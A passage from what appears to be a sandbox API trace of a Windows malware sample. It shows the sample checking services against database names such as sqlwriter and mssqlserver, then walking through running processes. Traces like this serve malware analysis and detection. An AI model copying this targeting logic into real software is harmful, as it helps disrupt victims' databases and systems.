lpString2="Power") returned 1 [0174.317] lstrlenW (lpString="ProfSvc") returned 7 [0174.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.318] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.318] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.318] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.318] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.318] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.318] lstrlenW (lpString="RpcSs") returned 5 [0174.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.322] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.322] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.322] lstrlenW (lpString="SamSs") returned 5 [0174.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.322] lstrlenW (lpString="Schedule") returned 8 [0174.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.322] lstrlenW (lpString="SecurityHealthService") returned 21 [0174.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0174.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0174.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0174.322] lstrlenW (lpString="SENS") returned 4 [0174.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.323] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.323] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.323] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.323] lstrlenW (lpString="Spooler") returned 7 [0174.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.323] lstrlenW (lpString="SSDPSRV") returned 7 [0174.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0174.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0174.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0174.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0174.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0174.323] lstrlenW (lpString="StateRepository") returned 15 [0174.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0174.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0174.323] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0174.323] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0174.323] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0174.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc [0174.327] Process32FirstW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.328] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.328] lstrlenW (lpString="System") returned 6 [0174.328] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.329] lstrlenW (lpString="smss.exe") returned 8 [0174.329] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.330] lstrlenW (lpString="csrss.exe") returned 9 [0174.330] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.330] lstrlenW (lpString="wininit.exe") returned 11 [0174.330] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.331] lstrlenW (lpString="csrss.exe") returned 9 [0174.331] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.332] lstrlenW (lpString="winlogon.exe") returned 12 [0174.332] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.332] lstrlenW (lpString="services.exe") returned 12 [0174.332] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.333] lstrlenW (lpString="lsass.exe") returned 9 [0174.333] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.334] lstrlenW (lpString="svchost.exe") returned 11 [0174.334] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.335] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.335] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.336] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.336] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.336] lstrlenW (lpString="svchost.exe") returned 11 [0174.336] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.337] lstrlenW (lpString="dwm.exe") returned 7 [0174.337] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.338] lstrlenW (lpString="svchost.exe") returned 11 [0174.338] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.338] lstrlenW (lpString="svchost.exe") returned 11 [0174.338] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.339] lstrlenW (lpString="svchost.exe") returned 11 [0174.339] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.340] lstrlenW (lpString="svchost.exe") returned 11 [0174.340] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.340] lstrlenW (lpString="svchost.exe") returned 11 [0174.340] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.341] lstrlenW (lpString="svchost.exe") returned 11 [0174.341] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.342] lstrlenW (lpString="svchost.exe") returned 11 [0174.342] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.342] lstrlenW (lpString="svchost.exe") returned 11 [0174.342] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.343] lstrlenW (lpString="svchost.exe") returned 11 [0174.343] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.344] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.344] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.344] lstrlenW (lpString="svchost.exe") returned 11 [0174.344] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.345] lstrlenW (lpString="svchost.exe") returned 11 [0174.345] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.346] lstrlenW (lpString="audiodg.exe") returned 11 [0174.346] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0174.346] lstrlenW (lpString="sihost.exe") returned 10 [0174.346] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.347] lstrlenW (lpString="svchost.exe") returned 11 [0174.347] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.348] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.348] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0174.348] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0174.348] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0174.349] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0174.349] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.350] lstrlenW (lpString="explorer.exe") returned 12 [0174.350] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0174.351] lstrlenW (lpString="Memory Compression") returned 18 [0174.351] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0174.352] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0174.352] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0174.352] lstrlenW (lpString="SearchUI.exe") returned 12 [0174.352] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0174.353] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0174.353] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0174.354] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0174.354] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.354] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.354] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0174.355] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0174.355] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0174.356] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0174.356] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0174.356] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0174.356] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.357] lstrlenW (lpString="conhost.exe") returned 11 [0174.357] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0174.358] lstrlenW (lpString="screensaver.exe") returned 15 [0174.358] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0174.358] lstrlenW (lpString="upperarc.exe") returned 12 [0174.358] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0174.359] lstrlenW (lpString="buying.exe") returned 10 [0174.359] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0174.365] lstrlenW (lpString="downloadable.exe") returned 16 [0174.365] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0174.366] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0174.366] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0174.366] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0174.367] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0174.367] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0174.367] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0174.368] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0174.368] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0174.368] lstrlenW (lpString="moments.exe") returned 11 [0174.369] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0174.369] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0174.369] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0174.370] lstrlenW (lpString="stream-test.exe") returned 15 [0174.370] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0174.370] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0174.371] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.371] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.371] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, 